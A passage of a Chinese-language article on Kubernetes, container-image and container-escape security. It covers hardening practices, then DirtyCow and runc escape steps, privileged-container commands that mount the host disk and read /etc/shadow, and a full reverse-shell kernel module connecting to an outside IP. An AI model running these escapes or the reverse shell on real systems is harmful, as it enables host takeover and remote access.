  • 4)監視網絡流量,限制不必要或不安全的通信。觀察應用網絡流量並將該流量與基於 Kubernetes 網絡策略所允許的流量進行比較。容器化的應用程序通常會大量使用集羣網絡,因此觀察應用網絡流量是瞭解應用程序交互並識別意外通信的好方法。同時,將應用流量與允許的流量進行比較,可以提供一些有價值的信息。通過這些信息,我們可以進一步收緊網絡策略,以消除多餘的網絡連接並減少攻擊面。
  • 5)利用進程白名單。進程白名單是一種用於識別意外運行進程的有效做法。首先,觀察應用程序一段時間,將應用程序正常過程中執行的所有進程加入列表,然後將該列表用作針對將來應用程序行爲的白名單。
  • 6)比較和分析相同部署的 Pod 不同運行時的狀態。出於高可用性、容錯性或規模等原因,容器化的應用程序常被用於複製。複製的應用應該大致相同,所以與其他副本有明顯差異的副本要進一步調查。
  • 7)如果被破壞,將可疑 Pod 數量減少至零。通過 Kubernetes 控制器將可疑 Pod 數量減少至零或者殺死,然後重新啓動被破壞的應用程序實例。

4、K8s基礎設施安全 

除了構建、部署和運行工作負載時的安全實踐,安全性還需要擴展到鏡像和工作負載之外,直到整個環境,包括集羣基礎結構。

總體來說,我們同時要保證集羣、節點和容器引擎的安全。

  • 1)將 Kubernetes 更新到最新版本。Kubernetes 僅支持最近的三個版本,因此如果在 Kubernetes 中發現了一個嚴重漏洞,並且落後四個版本,那麼我們將不會收到補丁。
  • 2)安全地配置 Kubernetes API Server。確保已經禁用未經身份驗證的匿名訪問,並使用 TLS 加密對 kubelet 和 APIServer 之間的連接。
  • 3)etcd 的安全。etcd 是 Kubernetes 用於數據訪問的鍵值存儲。etcd 被認爲是 Kubernetes 的信任來源,我們可以根據需要從中讀取數據或將數據寫入其中,另外要確保僅通過 TLS 提供客戶端連接。
  • 4)kubelet 的安全。作爲在每個節點上運行的主節點代理,kubelet 的錯誤配置會使攻擊者可以通過 kubelet 進行後門訪問。通過使用 --anonymous-auth=false 啓動 kubelet,並利用 NodeRestriction 准入控制器限制 kubelet 可以訪問的內容,確保已禁用對 kubelet 的匿名訪問。

Kubernetes 還有很多組件,包括 kube-scheduler、kube-controller-manager、主節點和工作節點上的配置文件等,都可以幫助安全配置。

參考鏈接:

https://developer.aliyun.com/article/409780 
https://www.secrss.com/articles/53653
https://www.yunweiol.cn/docker/kubernets/2021-08-29/500.html

 

五、鏡像安全

目前業界已經達成共識:雲原生時代已經到來。

由於容器是由容器鏡像生成的,如何保證容器的安全,在很大程度上取決於如何保證容器鏡像的安全。如果說容器是雲原生時代的核心,那麼鏡像應該就是雲原生時代的靈魂。鏡像的安全對於應用程序安全、系統安全乃至供應鏈安全都有着深刻的影響。

然而,鏡像的安全卻是非常令人擔憂的。根據 snyk 發佈的 2020 年開源安全報告中指出,在 dockerhub 上常用的熱門鏡像幾乎都存在安全漏洞,多的有上百個,少的也有數十個。

然而,不幸的是,很多應用程序的鏡像是以上述熱門鏡像作爲基礎鏡像,更不幸的是,由誰來負責安全問題,卻始終爭論不斷。

其實,可以通過預防爲主,防治結合的方式來提高鏡像的安全性。

  • “預防”主要指在構建鏡像的過程中遵從一些鏡像構建的正模式,諸如選擇合適的基礎鏡像、不安裝不需要的包、最小權限原則等等。鏡像安全的業內通過做法是實時監控容器鏡像的上傳,對鏡像中Dockerfile、可疑文件、敏感權限、敏感端口、基礎軟件漏洞、業務軟件漏洞以及CIS和NIST的最佳實踐做檢查,並提供風險趨勢分析,確保構建時安全。
  • “治”指的是鏡像安全掃描,掃描出問題就去修復。常用的開源掃描工具有:trivy、anchore、clair。掃描的原理都沒有太大差別:提取鏡像特徵 --> 和漏洞數據庫(CVE、NVD等)中的數據進行比對 --> 出具漏洞報告。

0x1:做好鏡像安全的預防

所謂防,就是要在編寫 Dockerfle 的時候,遵循最佳實踐來編寫安全的 Dockerfile;還要採用安全的方式來構建容器鏡像。

在聊鏡像安全之前,我們先來了解一下鏡像到底是什麼?以及它其中的內容是什麼?

我們以 debian鏡像爲例,pull 最新的鏡像,並將其保存爲 tar 文件,之後進行解壓:

mkdir -p debian-image
docker pull debian
docker image save -o debian-image/debian.tar debian
ll debian-image 
tar -C debian-image -xf debian-image/debian.tar 
tree -I debian.tar debian-image 

解壓完成後,我們看到它是一堆 json 文件和 layer.tar文件的組合,

 

 

 

{
    "architecture": "amd64",
    "config": {
        "Hostname": "",
        "Domainname": "",
        "User": "",
        "AttachStdin": false,
        "AttachStdout": false,
        "AttachStderr": false,
        "Tty": false,
        "OpenStdin": false,
        "StdinOnce": false,
        "Env": ["PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"],
        "Cmd": ["bash"],
        "Image": "sha256:87ff4334e35b6932b1a556af38cd2757a67abc373083a8682120fd4833c1708a",
        "Volumes": null,
        "WorkingDir": "",
        "Entrypoint": null,
        "OnBuild": null,
        "Labels": null
    },
    "container": "9bee36f574a340be138e87098e1f2c17a27ca4a4bd5a437581cd6bc2c3542b1c",
    "container_config": {
        "Hostname": "9bee36f574a3",
        "Domainname": "",
        "User": "",
        "AttachStdin": false,
        "AttachStdout": false,
        "AttachStderr": false,
        "Tty": false,
        "OpenStdin": false,
        "StdinOnce": false,
        "Env": ["PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"],
        "Cmd": ["/bin/sh", "-c", "#(nop) ", "CMD [\"bash\"]"],
        "Image": "sha256:87ff4334e35b6932b1a556af38cd2757a67abc373083a8682120fd4833c1708a",
        "Volumes": null,
        "WorkingDir": "",
        "Entrypoint": null,
        "OnBuild": null,
        "Labels": {}
    },
    "created": "2023-12-19T01:20:16.083612549Z",
    "docker_version": "20.10.23",
    "history": [{
        "created": "2023-12-19T01:20:15.53569297Z",
        "created_by": "/bin/sh -c #(nop) ADD file:7d8adf68670e8dc2af6b8603870ea610fc65ecbb08799f2ca6a3134f5d47d289 in / "
    }, {
        "created": "2023-12-19T01:20:16.083612549Z",
        "created_by": "/bin/sh -c #(nop)  CMD [\"bash\"]",
        "empty_layer": true
    }],
    "os": "linux",
    "rootfs": {
        "type": "layers",
        "diff_ids": ["sha256:ae134c61b154341a1dd932bd88cb44e805837508284e5d60ead8e94519eb339f"]
    }
}

 

我們再次對其中的 layer.tar進行解壓:

tar -C debian-image/47266229439ebc2d202700a190beb41ce869d7a014e7b79adfac82a138c60c53 -xf debian-image/47266229439ebc2d202700a190beb41ce869d7a014e7b79adfac82a138c60c53/layer.tar
tree -I 'layer.tar|json|VERSION'  -L 1 debian-image/47266229439ebc2d202700a190beb41ce869d7a014e7b79adfac82a138c60c53 debian-image/47266229439ebc2d202700a190beb41ce869d7a014e7b79adfac82a138c60c53

從解壓後的目錄結構可以看到,這是 rootfs的目錄結構。如果我們使用的是自己構建的一些應用鏡像的話,經過幾次解壓,你也會在其中找到應用程序相對應的文件。 

現在我們瞭解了容器鏡像就是 rootfs和應用程序,以及一些配置文件的組合。所以要保證它自身內容的安全性,主要從以下幾個方面來考慮。

1、遵從最佳實踐編寫 Dockerfile

1)選擇合適的基礎鏡像

Dockerfile 的第一句通常都是 FROM some_image,也就是基於某一個基礎鏡像來構建自己所需的業務鏡像,基礎鏡像通常是應用程序運行所需的語言環境,比如 Go、Java、PHP 等,對於某一種語言環境,一般是有多個版本的。以 Golang 爲例,即有 golang:1.12.9,也有 golang:1.12.9-alpine3.9,不同版本除了有鏡像體積大小的區別,也會有安全漏洞數量之別。

上述兩種鏡像的體積大小以及所包含的漏洞數量(用 trivy 掃描)對比如下:

可以看到 golang:1.12.9-alpine3.9 比 golang:1.12.9 有更小的鏡像體積(351MB vs 814MB),更少的漏洞數量(24 vs 1306)。

所以,在選取基礎鏡像的時候,要做出正確選擇,不僅能夠縮小容器鏡像體積,節省鏡像倉庫的存儲成本,還能夠減少漏洞數量,縮小受攻擊面,提高安全性。

2)以非 root 用戶啓動容器

在 Linux 系統中,root 用戶意味着超級權限,能夠很方便的管理很多事情,但是同時帶來的潛在威脅也是巨大的,用 root 身份執行的破壞行動,其後果是災難性的。在容器中也是一樣,需要以非 root 的身份運行容器,通過限制用戶的操作權限來保證容器以及運行在其內的應用程序的安全性。

在 Dockerfile 中可以通過添加如下的命令來以非 root 的身份啓動並運行容器:

RUN addgroup -S jh && adduser -S devsecops -G jh

USER devsecops

上述命令創建了一個名爲 jh 的 Group,一個名爲 devsecops 的用戶,並將用戶 devsecops 添加到了 jh Group 下,最後以 devsecops 啓動容器。

3)不安裝非必要的軟件包

很多用戶在是編寫 Dockerfile 的時候,習慣了直接寫 apt-get update && apt-get install xxxx,網上也有很多這樣的例子(包括 GitHub)。用戶需要清楚 xxx 這個包是否真的要用,否則這種情況會造成鏡像體積的變大以及受攻擊面的增加。

以 ubuntu:20.04 爲例來演示安裝 vim curl telnet 這三個常用軟件包,給鏡像體積以及漏洞數量帶來的影響:

可以看出,因爲安裝了 vim curl telnet 這三個常見的軟件包,導致鏡像體積增加了一倍(從 72.4MB 到 158MB),漏洞數量翻了接近一番(從 60 到 119)。

因此,在編寫 Dockerfile 的時候,一定要搞清楚哪些包是必須安裝的,而哪些包是非必需安裝的。

4)採用多階段構建 

多階段構建不僅能夠對於容器鏡像進行靈活的修改,還能夠在很大程度上減小容器鏡像體積,減少漏洞數量。

5)選擇來源可靠且經常更新的鏡像

由於鏡像構建的靈活性和便捷性,任何一個人都可以構建容器鏡像並推送至 Dockerhub 供其他人使用。所以在搜索某一個鏡像的時候,會出現很多類似的結果,這時候就需要仔細辨別:鏡像是否有官方提供的,鏡像是否一直有更新,鏡像是否可以找到對應的 Dockerfile 來查看到底是如何構建的。信息不全且長時間無更新的鏡像,其安全性無法得到保證,不應該使用此類鏡像,這時候可以選擇自己使用這些規則來構建可用的安全景象。

2、用安全的方式構建容器鏡像

常規構建容器鏡像的方式就是 docker build,這種情況需要客戶端要能和 docker 守護進程進行通信。對於雲原生時代,容器鏡像的構建是在 Kubernetes 集羣內完成的,因此容器的構建也常用 dind(docker in docker)的方式來進行,鏡像的構建通常用如下代碼:

build:
  image: docker:latest
  stage: build
  services:
    - docker:20.10.7-dind
  script:
    - docker login -u "$CI_REGISTRY_USER" -p "$CI_REGISTRY_PASSWORD" $CI_REGISTRY
    - docker build -t $CI_REGISTRY_IMAGE:1.0.0 .
    - docker push $CI_REGISTRY_IMAGE:1.0.0

衆所周知,dind 需要以 privilege 模式來運行容器,需要將宿主機的 /var/run/docker.sock 文件掛載到容器內部纔可以,否則會在 CI/CD Pipeline 構建時收到如下錯誤:

因此在使用自建 Runner 的時候,往往都需要掛在 /var/run/docker.sock,諸如在使用 K8s 來運行自建 Runner 的時候,就需要在 Runner 的配置文件中添加以下內容:

[[runners.kubernetes.volumes.host_path]]
    name = "docker"
    mount_path = "/var/run/docker.sock"
    host_path = "/var/run/docker.sock"

爲了解決這個問題,可以使用一種更安全的方式來構建容器鏡像,也就是使用 kaniko。Kaniko是谷歌發佈的一款根據 Dockerfile 來構建容器鏡像的工具。Kaniko 無須依賴 docker 守護進程即可完成鏡像的構建。 

3、使用容器鏡像掃描

在遵從最佳實踐編寫 Dockerfile、用 Kaniko 構建容器之後,還需要對容器鏡像做安全掃描,進一步確保容器鏡像安全。

4、保證鏡像分發過程的安全

我們首先來看看,容器鏡像是怎麼樣從構建到部署到我們的 Kubernetes 環境中的。

開發者在編寫完代碼後,推送代碼到代碼倉庫。由此來觸發 CI 進行構建,在此過程中會進行鏡像的構建,以及將鏡像推送至鏡像倉庫中。

在 CD 的環節中,則會使用鏡像倉庫中的鏡像,部署至目標 Kubernetes 集羣中。

那麼在此過程中,攻擊者如何進行攻擊呢?

在鏡像分發部署的環節中其上游是鏡像倉庫,下游是 Kubernetes 集羣。

對於鏡像倉庫而言,即使是內網的自建環境,但攻擊者可以通過一些手段進行劫持、替換成惡意的鏡像,包括直接攻擊鏡像倉庫等。基於零信任安全的考慮,要保證部署到 Kubernetes 集羣中鏡像的安全性來源以及完整性,主要需要在兩個主要的環節上進行:

  • 構建鏡像時進行鏡像的簽名
  • 鏡像分發部署時進行簽名的校驗

我們來分別看一下。

我們通常在使用容器鏡像時有兩種選擇:

  • 標籤,比如 alpine:3.14.3
  • 摘要,比如 alpine@sha256:635f0aa53d99017b38d1a0aa5b2082f7812b03e3cdb299103fe77b5c8a07f1d2

大多數場景下,我們會直接使用標籤,因爲它的可讀性更好。但是鏡像內容可能會隨着時間的推移而變化,因爲我們可能會爲不同內容的鏡像使用相同的標籤,最常見的就是 :latest標籤,每次新版本發佈的時候,新版本的鏡像都會繼續沿用 :latest標籤,但其中的應用程序版本已經升級到了最新。

使用摘要的主要弊端是它的可讀性不好,但是,每個鏡像的摘要都是唯一的,摘要是鏡像內容的 SHA256 的哈希值。所以我們可以通過摘要來保證鏡像的唯一性。

通過以下示例可以直接看到標籤和摘要信息:

docker pull alpine:3.14.3
docker image inspect alpine:3.14.3 | jq -r '.[] | {RepoTags: .RepoTags, RepoDigests: .RepoDigests}' 

那麼如何來保證鏡像的正確性/安全性呢?這就是鏡像簽名解決的主要問題了。

數字簽名是一種衆所周知的方法,用於維護在網絡上傳輸的任何數據的完整性。對於容器鏡像簽名,我們有幾種比較通用的方案。

  • Docker Content Trust (DCT)
  • Notary v1
  • sigstore 和 Cosign

我們這裏重點討論一下Docker Content Trust (DCT)。

Docker Content Trust 使用數字簽名,並且允許客戶端或運行時驗證特定鏡像標籤的完整性和發佈者。對於使用而言也就是 docker trust 命令所提供的相關功能。注意:這需要 Docker CE 17.12 及以上版本。

前面我們提到了,鏡像記錄可以有一些標籤,格式如下:

[REGISTRY_HOST[:REGISTRY_PORT]/]REPOSITORY[:TAG]

以標籤爲例,DCT 會與標籤的一部分相關聯。每個鏡像倉庫都有一組密鑰,鏡像發佈者使用這些密鑰對鏡像標籤進行簽名。(鏡像發佈者可以自行決定要簽署哪些標籤)鏡像倉庫可以同時包含多個帶有已簽名標籤和未簽名標籤的鏡像。

在生產中,我們可以啓用 DCT 確保使用的鏡像都已簽名。如果啓用了 DCT,那麼只能對受信任的鏡像(已簽名並可驗證的鏡像)進行拉取、運行或構建。

啓用 DCT 有點像對鏡像倉庫應用“過濾器”,即,只能看到已簽名的鏡像標籤,看不到未簽名的鏡像標籤。如果客戶端沒有啓用 DCT ,那麼它可以看到所有的鏡像。

這裏我們來快速的看一下 DCT 的工作過程,

默認情況下,Docker 客戶端中禁用 DCT 。要啓用需要設置 DOCKER_CONTENT_TRUST=1 環境變量 。

DOCKER_CONTENT_TRUST=1 docker pull alpine:3.12

0x2:做好鏡像安全的治理

所謂治,既要使用容器鏡像掃描,又要將掃描流程嵌入到 CI/CD 中,如果鏡像掃描出漏洞,則應該立即終止 CI/CD Pipeline,並反饋至相關人員,進行修復後重新觸發 CI/CD Pipeline。

參考鏈接:

https://www.163.com/dy/article/FE1TJL4R0528F7OI.html
https://www.gcomtw.com/mailshot/Synopsys/2303BlackDuck/repossra2023ch.pdf 
https://gitlab.cn/blog/2022/03/29/container-image-security/
https://mp.weixin.qq.com/s/pnP0bjFdXlay42OGghUWNw
https://www.cnblogs.com/edisonchou/p/container_security_best_practices_introduction.html
https://moelove.info/2021/11/23/%E4%BA%91%E5%8E%9F%E7%94%9F%E6%97%B6%E4%BB%A3%E4%B8%8B%E7%9A%84%E5%AE%B9%E5%99%A8%E9%95%9C%E5%83%8F%E5%AE%89%E5%85%A8%E4%B8%8A/

 

六、容器安全

0x1:從容器技術棧角度看容器安全

容器提供了將應用程序的代碼、配置、依賴項打包到單個對象的標準方法。容器建立在兩項關鍵技術之上:

  • Linux Namespace:Namespace創建一個近乎隔離的用戶空間,併爲應用程序提供系統資源(文件系統、網絡棧、進程和用戶ID)。
  • Linux Cgroups:Cgroup強制限制硬件資源,如CPU、內存、設備和網絡等。

本質上,docker就是一個linux下的進程,它通過NameSpace 等命令實現了內核級別環境隔離(文件、網絡、資源),所以相比虛擬機而言,Docker 的隔離性要弱上不少 ,這就導致可以通過很多方法來進行docker逃逸。

容器的攻擊面(Container Attack Surface)如下:

容器一共有7個攻擊面:

  • Linux Kernel
  • Namespace/Cgroups/Aufs
  • Seccomp-bpf
  • Libs
  • Language VM
  • User Code
  • Container(Docker)engine

容器安全中,風險最大的問題是容器逃逸,我們接下來重點關注3個攻擊面:

  1. Linux內核漏洞導致容器逃逸
  2. 容器自身漏洞導致容器逃逸
  3. 不安全部署(配置)導致容器逃逸

1、Linux內核漏洞導致容器逃逸

容器的內核與宿主內核共享,使用Namespace與Cgroups這兩項技術,使容器內的資源與宿主機隔離,所以Linux內核產生的漏洞能導致容器逃逸。

通用Linux內核提權方法論如下:

  • 信息收集:收集一切對寫exploit有幫助的信息。 如:
    • 確定攻擊的內核是什麼版本?
    • 這個內核版本開啓了哪些加固配置?
    • 寫shellcode的時候會調用哪些內核函數?這時候就需要查詢內核符號表,得到函數地址。
    • 還可從內核中得到一些對編寫exploit有幫助的地址信息、結構信息等等。
  • 觸發階段:觸發相關漏洞,控制RIP,劫持內核代碼路徑,簡而言之,獲取在內核中任意執行代碼的能力。
  • 佈置shellcode:在編寫內核exploit代碼的時候,需要找到一塊內存來存放我們的shellcode 。 這塊內存至少得滿足兩個條件:
    • 第一:在觸發漏洞時,我們要劫持代碼路徑,必須保證代碼路徑可以到達存放shellcode的內存。
    • 第二:這塊內存是可以被執行的,換句話說,存放shellcode的這塊內存具有可執行權限。
  • 執行階段
    • 第一:執行shellcode,獲取高於當前用戶的權限,一般我們都是直接獲取root權限,畢竟它是Linux中的最高權限。
    • 第二:保證內核穩定,不能因爲我們需要提權而破壞原來內核的代碼路徑、內核結構、內核數據等等,而導致內核崩潰。這樣的話,即使得到root權限也沒有太大的意義。

容器逃逸和內核提權只有細微的差別,需要突破namespace的限制。將高權限的namespace賦到exploit進程的task_struct中。 

1)利用髒牛(CVE-2016-5195 DirtyCow)漏洞實現容器逃逸

這裏以Dirty CoW漏洞來說明Linux內核漏洞導致的容器逃逸。

在Linux內核的內存子系統處理私有隻讀內存映射的寫時複製(Copy-on-Write,CoW)機制的方式中發現了一個競爭衝突。一個沒有特權的本地用戶,可能會利用此漏洞獲得對其他情況下只讀內存映射的寫訪問權限,從而增加他們在系統上的特權,這就是知名的Dirty CoW提權漏洞。

Dirty CoW漏洞的容器逃逸實現思路和上述的提權思路不太一樣,採取Overwrite vDSO技術。

vDSO(Virtual Dynamic Shared Object)是內核爲了減少內核與用戶空間頻繁切換,提高系統調用效率而設計的機制。它同時映射在內核空間以及每一個進程的虛擬內存中,包括那些以root權限運行的進程。通過調用那些不需要上下文切換(context switching)的系統調用可以加快這一步驟(定位vDSO)。vDSO在用戶空間(userspace)映射爲R/X,而在內核空間(kernelspace)則爲R/W。這允許我們在內核空間修改它,接着在用戶空間執行。又因爲容器與宿主機內核共享,所以可以直接使用這項技術逃逸容器。

利用步驟如下:

  1. 獲取vDSO地址,在新版的glibc中可以直接調用getauxval()函數獲取;
  2. 通過vDSO地址找到clock_gettime()函數地址,檢查是否可以hijack;
  3. 創建監聽socket;
  4. 觸發漏洞,Dirty CoW是由於內核內存管理系統實現CoW時產生的漏洞。通過條件競爭,把握好在恰當的時機,利用CoW的特性可以將文件的read-only映射該爲write。子進程不停地檢查是否成功寫入。父進程創建二個線程,ptrace_thread線程向vDSO寫入shellcode。madvise_thread線程釋放vDSO映射空間,影響ptrace_thread線程CoW的過程,產生條件競爭,當條件觸發就能寫入成功。
  5. 執行shellcode,等待從宿主機返回root shell,成功後恢復vDSO原始數據。

docker和宿主機共享內核,因此就可利用該漏洞進行逃逸。

執行 uname -r 命令,如果在 2.6.22 <= 版本 <= 4.8.3 之間說明可能存在 CVE-2016-5195 DirtyCow 漏洞。

參考鏈接:

https://blog.wohin.me/posts/dirtycow-for-escape/ 
https://www.cnblogs.com/LittleHann/p/5987532.html
https://xz.aliyun.com/t/12495

2)利用CVE-2020-14386: Privilege Escalation Vulnerability in the Linux kernel

執行 uname -r 命令,如果在 4.6 <= 版本 < 5.9 之間說明可能存在 CVE-2020-14386 漏洞。

參考鏈接:

https://unit42.paloaltonetworks.com/cve-2020-14386/

3)利用CVE-2022-0847 DirtyPipe 逃逸

執行 uname -r 命令,如果在 5.8 <= 版本 < 5.10.102 < 版本 < 5.15.25 < 版本 < 5.16.11 之間說明可能存在 CVE-2022-0847 DirtyPipe 漏洞。

2、容器自身漏洞導致容器逃逸

我們先簡單的看一下Docker的架構圖:

Docker本身由

  • Docker(Docker Client)
  • Dockerd(Docker Daemon)

組成。但從Docker 1.11開始,Docker不再是簡單的通過Docker Dameon來啓動,而是集成許多組件,包括containerd、runc等等。

Docker Client是Docker的客戶端程序,用於將用戶請求發送給Dockerd。

Dockerd實際調用的是containerd的API接口,containerd是Dockerd和runc之間的一箇中間交流組件,主要負責容器運行、鏡像管理等。

  • containerd向上爲Dockerd提供了gRPC接口,使得Dockerd屏蔽下面的結構變化,確保原有接口向下兼容
  • containerd向下通過containerd-shim與runc結合創建及運行容器。

容器自身的安全風險,主要就是來自這些組件相互間的通信方式、依賴關係等。下面我們以Docker中的runc組件所產生的漏洞來說明因容器自身的漏洞而導致的逃逸。

1)CVE-2019-5736:runc - container breakout vulnerability

在容器世界裏,真正負責創建、修改和銷燬容器的組件實際上是容器運行時。下圖較好地展示了當下容器運行時在整個容器世界中所處位置:

我們在執行功能類似於docker exec的命令(其他的如docker run等)時,底層實際上是容器運行時在操作。例如runc,相應地,runc exec命令會被執行。它的最終效果是在容器內部執行用戶指定的程序。進一步講,就是在容器的各種命名空間內,受到各種限制(如cgroups)的情況下,啓動一個進程。除此以外,這個操作與宿主機上執行一個程序並無二致。

執行過程大體是這樣的:

runc啓動 ==> 加入到容器的命名空間 ==> 接着以自身(/proc/self/exe)爲範本啓動一個子進程 ==> 最後通過exec系統調用執行用戶指定的二進制程序

這個過程看起來似乎沒有問題,現在,我們需要讓另一個角色出場,proc僞文件系統,即/proc。這裏我們主要關注/proc下的兩類文件:

  1. /proc/[PID]/exe:它是一種特殊的符號鏈接,又被稱爲magic links,指向進程自身對應的本地程序文件(例如我們執行ls/proc/[ls-PID]/exe就指向/bin/ls
  2. /proc/[PID]/fd/:這個目錄下包含了進程打開的所有文件描述符

/proc/[PID]/exe的特殊之處在於,如果你去打開這個文件,在權限檢查通過的情況下,內核將直接返回給你一個指向該文件的描述符(file descriptor),而非按照傳統的打開方式去做路徑解析和文件查找。這樣一來,它實際上繞過了mnt命名空間及chroot對一個進程能夠訪問到的文件路徑的限制。

那麼,設想這樣一種情況:在runc exec加入到容器的命名空間之後,容器內進程已經能夠通過內部/proc觀察到它,此時如果打開/proc/[runc-PID]/exe並寫入一些內容,就能夠實現將宿主機上的runc二進制程序覆蓋掉!這樣一來,下一次用戶調用runc去執行命令時,實際執行的將是攻擊者放置的指令。

在未升級修復漏洞的容器環境上,上述思路是可行的,但是攻擊者想要在容器內實現宿主機上的代碼執行(逃逸),還需要面對兩個限制:

  1. 需要具有容器內部root權限。
  2. Linux不允許修改正在運行進程對應的本地二進制文件。

事實上,限制1經常不存在,很多容器服務開放給用戶的仍然是root權限,而限制2是可以克服的。

從攻擊面視角來說,有兩種攻擊利用方式:

  • 攻擊方式1:(該途徑需要特權容器)運行中的容器被入侵,系統文件被惡意篡改 ==> 宿主機運行docker exec命令,在該容器中創建新進程 ==> 宿主機runc被替換爲惡意程序 ==> 宿主機執行docker run/exec 命令時觸發執行惡意程序。
  • 攻擊方式2:(該途徑無需特權容器,攻擊者可以篡改容器鏡像)docker run命令啓動了被惡意修改的鏡像 ==> 宿主機runc被替換爲惡意程序 ==> 宿主機運行docker run/exec命令時觸發執行惡意程序。

上述兩種攻擊方式的,從runc劫持替換之後的步驟是一樣的,這裏歸納一下整個劫持替換及逃逸過程:

  1. 將容器內的/bin/sh程序覆蓋爲一段可執行腳本:#!/proc/self/exe;
  2. 持續遍歷容器內/proc目錄,讀取每一個/proc/[PID]/cmdline,對"runc"做字符串匹配,直到找到runc進程號;
  3. 以只讀方式打開/proc/[runc-PID]/exe,拿到文件描述符fd;
  4. 持續嘗試以寫方式打開第3步中獲得的只讀fd(/proc/self/fd/[fd]),一開始總是返回失敗,直到runc結束佔用後寫方式打開成功,立即通過該fd向宿主機上/usr/bin/runc(名字也可能是/usr/bin/docker-runc)寫入攻擊載荷。這裏需要使用O_PATH flag打開/proc/self/exe文件描述符,然後以O_WRONLY flag 通過/proc/self/fd/重新打開二進制文件,並且用單獨的一個進程不停地寫入。當寫入成功時,runc會退出。
  5. runc最後將執行用戶通過docker exec指定的/bin/sh,它的內容在第1步中已經被替換成#!/proc/self/exe,因此實際上將執行宿主機上的runc,而runc也已經在第4部中被我們覆蓋掉了。

藉助這個漏洞,容器內進程具備在容器外執行代碼的能力。 

參考鏈接:

https://blog.wohin.me/posts/cve-2019-5736/ 

3、不安全部署/配置(啓動權限、磁盤掛載等)導致容器逃逸

在實際中,我們經常會遇到這種狀況:不同的業務會根據自身業務需求提供一套自己的配置,而這套配置並未得到有效的管控審計,使得內部環境變得複雜多樣,無形之中又增加了很多風險點。最常見的包括:

  • 特權容器或者以root權限運行容器
  • 不合理的Capability配置(權限過大的Capability)

這部分業界已經給出了最佳實踐,從宿主機配置、Dockerd配置、容器鏡像、Dockerfile、容器運行時等方面保障了安全,更多細節請參考Benchmark/Docker。同時Docker官方已經將其實現成自動化工具(gVisor)。 

1)由於特權模式錯誤配置導致容器逃逸

特權模式在6.0版本的時候被引入Docker,其核心作用是允許容器內的root擁有外部物理機的root權限,而此前在容器內的root用戶只有外部物理機普通用戶的權限。

使用特權模式啓動容器後(docker run --privileged),Docker容器被允許可以訪問主機上的所有設備、可以獲取大量設備文件的訪問權限、並可以執行mount命令進行掛載。

當控制使用特權模式的容器時,Docker管理員可通過mount命令將外部宿主機磁盤設備掛載進容器內部,獲取對整個宿主機的文件讀寫權限,此外還可以通過寫入計劃任務等方式在宿主機執行命令。

下面給出一個簡單的錯誤配置特權容器的案例演示,

使用特權模式啓動容器,

docker run -it --privileged 174c8c134b2a /bin/bash

執行以下命令查看當前容器是否是特權容器,

cat /proc/self/status | grep -qi "0000003fffffffff" && echo "Is privileged mode" || echo "Not privileged mode"

在特權容器內部,查看磁盤文件:

從返回結果來看vda1、vda2、vda3在/dev目錄下。 

新建一個目錄/test,然後將/dev/vda3掛載到新建的目錄下

mkdir /test
mount /dev/vda3 /test

這時再查看新建的目錄/test,就可以訪問宿主機上的目錄內容了(/root目錄下的內容)。 

擁有宿主機的文件操作權限後,攻擊者可以通過寫ssh密鑰、計劃任務等方式達到逃逸。

除了利用mount掛載逃逸之外,還可以通過重寫devices.allow實現容器逃逸,

創建特權容器:

docker run -it --privileged 174c8c134b2a /bin/bash

進入容器,尋找容器內的devices.allow文件:

find . -name "devices.allow"

在該目錄下執行 echo a > devices.allow,設置容器允許訪問所有類型設備。

查看/etc目錄的node號和文件系統類型,

cat /proc/self/mountinfo | grep /etc | awk ‘{print $3,$8}’ | head -1

在根目錄下執行 mknod host b 253 0。

由於是xfs文件系統,先掛載設備:

mkdir /tmp/host_dir && mount host /tmp/host_dir

然後查看祕鑰文件:

cat /tmp/host_dir/etc/shadow

若是ext2/ext3/ext4文件系統,通過debugfs -w host進行調試即可讀寫文件。

參考鏈接:

https://blog.csdn.net/m0_46337791/article/details/129129776
https://www.cnblogs.com/hongdada/p/11512901.html
https://www.freebuf.com/articles/container/245153.html
https://blog.csdn.net/sinat_32023305/article/details/97648871

2)由於功能機制(Capabilities)錯誤配置導致容器逃逸

在suid提權中SUID設置的程序出現漏洞就非常容易被利用,所以 Linux 引入了 Capability 機制以此來實現更加細緻的權限控制,從而增加系統的安全性。Linux內核自版本2.2引入了功能機制(Capabilities),打破了UNIX/LINUX操作系統中超級用戶與普通用戶的概念,允許普通用戶執行超級用戶權限方能運行的命令。

當容器爲特權模式時,將添加如下功能:使用指南 - 特權容器

通過以下指令獲取容器中獲取的 Cap 集合,

cat /proc/1/status | grep Cap

CapEff 主要是檢查線程的執行權限,所以重點看下利用 capsh --decode=000001ffffffffff 進行解碼。

  • 當存在NET_ADMIN時,表明該容器是特權容器
  • 反之 
2.1)cap_sys_module導致容器逃逸

cap_sys_module權限允許加載內核模塊,如果在容器里加載一個惡意的內核模塊,將直接導致逃逸。

首先寫一個反彈shell的內核模塊reverse-shell.c,代碼如下:

#include <linux/kmod.h>
#include <linux/module.h>

 
char* argv[] = {“/bin/bash”,”-c”,”bash -i >& /dev/tcp/10.66.255.100/7777 0>&1″, NULL};
static char* envp[] = {“PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin”, NULL };

// call_usermodehelper function is used to create user mode processes from kernel space
static int __init reverse_shell_init(void) {
    return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}

static void __exit reverse_shell_exit(void) {
    printk(KERN_INFO “Exiting\n”);
}

module_init(reverse_shell_init);
module_exit(reverse_shell_exit);

然後在同級目錄下編寫一個Makefile文件:

obj-m +=reverse-shell.o

all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

最後在同級目錄下執行make進行編譯,最終生成reverse-shell.ko文件。

由於容器環境中可能沒有insmod命令,因此我們可以自己打包一個,代碼如下:

#define _GNU_SOURCE

#include <fcntl.h>
#include <stdio.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>

#define init_module(module_image, len, param_values) syscall(__NR_init_module, module_image, len, param_values)
#define finit_module(fd, param_values, flags) syscall(__NR_finit_module, fd, param_values, flags)

int main(int argc, char **argv) {
    const char *params;
    int fd, use_finit;
    size_t image_size;
    struct stat st;
    void *image;

    /* CLI handling. */
    if (argc < 2) {
